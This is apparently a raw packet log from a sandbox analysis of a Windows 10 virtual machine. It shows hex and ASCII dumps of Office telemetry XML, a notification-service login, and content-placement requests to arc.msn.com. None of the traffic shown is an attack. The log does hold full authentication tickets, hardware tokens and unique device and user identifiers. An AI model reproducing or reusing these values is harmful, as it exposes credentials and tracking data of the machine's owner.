2024-11-23 01:55:14 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-23 01:55:14 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-23 01:55:14 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-23 01:55:14 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-23 01:55:14 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-23 01:55:14 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49716	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:14 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 48 6c 65 44 76 34 4b 62 44 6b 4b 41 61 7a 42 4b 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 33 32 34 30 37 37 32 30 32 36 31 30 63 62 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: HleDv4KbDkKAazBK.1Context: 1324077202610cba
2024-11-23 01:55:14 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-23 01:55:14 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 48 6c 65 44 76 34 4b 62 44 6b 4b 41 61 7a 42 4b 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 33 32 34 30 37 37 32 30 32 36 31 30 63 62 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 37 76 61 74 57 6f 77 4a 61 51 30 45 61 52 53 5a 50 50 6e 62 55 74 6d 41 67 4d 4c 50 2b 4e 61 72 56 31 6e 32 4d 39 36 44 71 7a 34 4d 33 67 53 44 30 59 2b 39 38 79 54 41 6a 55 6c 71 59 76 73 45 6c 44 7a 66 43 50 76 35 69 37 73 58 34 32 43 63 36 4c 74 37 41 6f 70 6b 5a 47 6f 30 6b 73 42 64 63 6c 61 62 6f 56 48 4e 62 53 51 57 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: HleDv4KbDkKAazBK.2Context: 1324077202610cba<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAS7vatWowJaQ0EaRSZPPnbUtmAgMLP+NarV1n2M96Dqz4M3gSD0Y+98yTAjUlqYvsElDzfCPv5i7sX42Cc6Lt7AopkZGo0ksBdclaboVHNbSQW
2024-11-23 01:55:14 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 48 6c 65 44 76 34 4b 62 44 6b 4b 41 61 7a 42 4b 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 33 32 34 30 37 37 32 30 32 36 31 30 63 62 61 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: HleDv4KbDkKAazBK.3Context: 1324077202610cba
2024-11-23 01:55:15 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-23 01:55:15 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 78 34 4c 58 73 35 72 42 6f 6b 69 61 45 6c 36 6c 62 5a 6d 33 69 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: x4LXs5rBokiaEl6lbZm3ig.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49717	20.199.58.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:14 UTC	2594	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T015511Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=49f20f758535486792f68d0d2939b2a7&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=597337&metered=false&nettype=ethernet&npid=sc-338388&oemName=xxwgim%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=xxwgim20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=597337&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAbmC052WmI0pNI/bdLeJUMwBCdJIhxxfMAmyJ9sh6VNZm94H0/15YJtSzwUqn20Upwd5FV8IuFfZgFMTtlZcDnNXrPIkFG4bXSmzp7wOVW/v0Nqk7q0qk//knZS0NQyXU0Svf3dpIlhuWXWExLvqHC//Sb+ZFJN8kPI3z8gcvXYjP7oxzqqKiAqzvyG7WpzN+ddmm5a8+u7u1zdJIam9etrgjAZppwbtzAlbCJv9YsNSKY/JkWHmRCpsFeRWU0K65586em66NHnz1WbhBJNlD2LRVxMMjKVtNlwcB+KzqNrL7LFIs1wTwUA0p4cy9fJtoe50tZbNNCdRU1cQMQY5zcgQZgAAEGp9Qlz/wWITHsNKn67BbRCwAf9W6l0KBptXKjwan4bt6Jq75Sd7xvr10UCnos27/nfrcMQrsXeVoDPqY+P7nUtMQuddYXImTFaWEs8q2g7Eb9O7QCTXuZDw50Xwv0uC02M8ppYWlxltMnDUHhFfaHWFfMFQKHovAOflgwrI8VY+cUzSdX4i946K+4lAVzlFmBXk22VYrhE4v74P4H4AyBRjJK35WuLSYr3bp0kD+0lqAZNoQkLM3dM1B7S//ABSdK8myhlt+7RWe4ZOVYG3LHPjJl4sOCW/nXKav3Y0r/amWXm34ukwOt9v3aflP/PFv8Qm1B4wV4p5v9D1UsWB0OYg5fNkC8yTky60BaJua0HqcvJj1zaReEz7+nSa+HGHvkFefmema0VPyd4fXkRSLhYyvPU1Tp3UoRdPp7n+sq9X8P7afomrmQWLGvbcM+syWhO8A5x3lkFVm4nARxBW8rIsNDXRwCj2rqR4O8OchB6JWVeEY4TniJAQ108Lkdr+3Ed+9/Gje/6p3FNe7wIZkEOEVSjH+h30J3vesTpdnM98dEKAl73KD2MssiJgb6wgiM/v4G/QwTBmJPccsCxkJkvPQdcB&p= Cache-Control: no-cache MS-CV: xXqcPXnFSkyQ2Zvx.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-23 01:55:15 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 3777 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: LCMUkai6uyOtVZKCaxtRhGO4BtLuX7X+XmvTTP2uVWGFlqrv3qchMhwiDqLGgLcPvfBVu5vMCgatIz3ML8TnYvGCZEwR9zJvZ7FZcMGShIT9cUK417tpwCX26erUoVmtlEHMKw1bsNQ59ukeq/9J4f72bns+V8w//IDDC+ZdQphujV0os95omjhecm8vBu8oIp72kLPVUe+JNySUMKWr+1Sx+v1MtVapGHyyjx3COhbhARRyXAr4GEhJpYUHyaHXsqckVCg2lRzE3pVqGg3Frj0vs7lAERv3My46ggzOcvYrYw94KkT+iCv6+BGzDCMXeCeC1tt1oN5rCtVslOSErQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 01:55:14 GMT Connection: close
2024-11-23 01:55:15 UTC	3777	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 53 75 67 67 65 73 74 69 6f 6e 73 4f 6e 53 74 61 72 74 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"SuggestionsOnStart\",\"propertyManifest\":{},\"properties\":{},\"trac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49719	20.199.58.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:14 UTC	2587	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T015511Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=ba0fa1a8d0324c1faafc1c04ec1acf57&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=597337&metered=false&nettype=ethernet&npid=sc-280815&oemName=xxwgim%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=xxwgim20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=597337&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAbmC052WmI0pNI/bdLeJUMwBCdJIhxxfMAmyJ9sh6VNZm94H0/15YJtSzwUqn20Upwd5FV8IuFfZgFMTtlZcDnNXrPIkFG4bXSmzp7wOVW/v0Nqk7q0qk//knZS0NQyXU0Svf3dpIlhuWXWExLvqHC//Sb+ZFJN8kPI3z8gcvXYjP7oxzqqKiAqzvyG7WpzN+ddmm5a8+u7u1zdJIam9etrgjAZppwbtzAlbCJv9YsNSKY/JkWHmRCpsFeRWU0K65586em66NHnz1WbhBJNlD2LRVxMMjKVtNlwcB+KzqNrL7LFIs1wTwUA0p4cy9fJtoe50tZbNNCdRU1cQMQY5zcgQZgAAEGp9Qlz/wWITHsNKn67BbRCwAf9W6l0KBptXKjwan4bt6Jq75Sd7xvr10UCnos27/nfrcMQrsXeVoDPqY+P7nUtMQuddYXImTFaWEs8q2g7Eb9O7QCTXuZDw50Xwv0uC02M8ppYWlxltMnDUHhFfaHWFfMFQKHovAOflgwrI8VY+cUzSdX4i946K+4lAVzlFmBXk22VYrhE4v74P4H4AyBRjJK35WuLSYr3bp0kD+0lqAZNoQkLM3dM1B7S//ABSdK8myhlt+7RWe4ZOVYG3LHPjJl4sOCW/nXKav3Y0r/amWXm34ukwOt9v3aflP/PFv8Qm1B4wV4p5v9D1UsWB0OYg5fNkC8yTky60BaJua0HqcvJj1zaReEz7+nSa+HGHvkFefmema0VPyd4fXkRSLhYyvPU1Tp3UoRdPp7n+sq9X8P7afomrmQWLGvbcM+syWhO8A5x3lkFVm4nARxBW8rIsNDXRwCj2rqR4O8OchB6JWVeEY4TniJAQ108Lkdr+3Ed+9/Gje/6p3FNe7wIZkEOEVSjH+h30J3vesTpdnM98dEKAl73KD2MssiJgb6wgiM/v4G/QwTBmJPccsCxkJkvPQdcB&p= Cache-Control: no-cache MS-CV: xXqcPXnFSkyQ2Zvx.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-23 01:55:15 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2937 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T1-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: W5cg2dYBfK3IzJcJ0PSUOCAho3kCQP9b24cwXFXfTbd+IJOZ6G5Cv4cZwLkmYbG0FZbAplTrFAbAzC5R50MKLVgqFX7KesOI5Sgf5vMrOYKyXqHE3AeOE5Ngcml69o0iOZCLFH+EVX0E6hSTQ5wxDmbBWyE4pEaUB9Z/QnHTrNmkoEuG8bOSul8AvwAyJOEUE+C/Qy2uFztQcSZySOuIOLMKs5Armjx4Ui99U/tslFCtci29IEj6jDK0yJbrjDmmDV4bEgy0WRa1NGNmGxaZF0Yf5hsxOWsPyS6/Z4G7nYYUPFWGreU6tnmPVmMzWVAaC7+SIMZIrYoKwGMfQaZRNQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 01:55:15 GMT Connection: close
2024-11-23 01:55:15 UTC	2937	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49718	20.199.58.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:14 UTC	2604	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T015511Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=8614b696c71046aa901d41d79a60090d&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=597337&metered=false&nettype=ethernet&npid=sc-338387&oemName=xxwgim%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=xxwgim20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=597337&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: 